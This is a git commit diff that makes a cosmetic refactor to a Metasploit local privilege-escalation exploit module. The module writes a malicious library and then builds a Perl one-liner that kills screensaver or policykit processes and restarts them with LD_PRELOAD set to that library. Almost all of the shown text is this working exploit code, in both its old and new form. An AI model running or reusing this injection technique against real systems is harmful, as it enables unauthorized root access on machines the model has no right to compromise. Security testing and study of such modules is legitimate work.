Beautify restart_command creation
parent
43ec8871bc
commit
121c0406e9
|
@ -107,7 +107,7 @@ class Metasploit4 < Msf::Exploit::Local
|
|||
write_file(lib_file,lib_data)
|
||||
|
||||
print_status('Restarting processes (screensaver/policykit)')
|
||||
restart_commands = get_restart_commands()
|
||||
restart_commands = get_restart_commands
|
||||
restart_commands.each do |cmd|
|
||||
cmd['LD_PRELOAD_PLACEHOLDER'] = lib_file
|
||||
cmd_exec(cmd)
|
||||
|
@ -140,11 +140,13 @@ class Metasploit4 < Msf::Exploit::Local
|
|||
exe = lines[i+1].match(/^EXE:(\S+)$/)[1]
|
||||
vprint_status("exe=#{exe}")
|
||||
|
||||
cmdline = [lines[i+2].match(/^cmdline:(\w+)$/)[1]].pack("H*").split("\x00")
|
||||
vprint_status("CMDLINE=" + cmdline.join(" XXX "))
|
||||
cmdline = [lines[i+2].match(/^cmdline:(\w+)$/)[1]].pack('H*').split("\x00")
|
||||
vprint_status("CMDLINE=" + cmdline.join(' XXX '))
|
||||
|
||||
env = lines[i+3].match(/^environ:(\w+)$/)[1]
|
||||
restart_command = 'perl -e \'use POSIX setsid;open STDIN,"</dev/null";open STDOUT,">/dev/null";open STDERR,">/dev/null";exit if fork;setsid();kill(9,' + pid + ')||exit;%ENV=();for(split("\0",pack("H*","' + env + '"))){/([^=]+)=(.*)/;$ENV{$1}=$2}$ENV{"LD_PRELOAD"}="LD_PRELOAD_PLACEHOLDER";exec {"' + exe + '"} ' + cmdline.map{|x| '"' + x + '"'}.join(", ") + '\'';
|
||||
restart_command = 'perl -e \'use POSIX setsid;open STDIN,"</dev/null";open STDOUT,">/dev/null";open STDERR,">/dev/null";exit if fork;setsid();'
|
||||
restart_command << 'kill(9,' + pid + ')||exit;%ENV=();for(split("\0",pack("H*","' + env + '"))){/([^=]+)=(.*)/;$ENV{$1}=$2}'
|
||||
restart_command << '$ENV{"LD_PRELOAD"}="LD_PRELOAD_PLACEHOLDER";exec {"' + exe + '"} ' + cmdline.map{|x| '"' + x + '"'}.join(", ") + '\''
|
||||
|
||||
vprint_status("RESTART: #{restart_command}")
|
||||
restart_commands.push(restart_command)
|
||||
|
|
Loading…
Reference in New Issue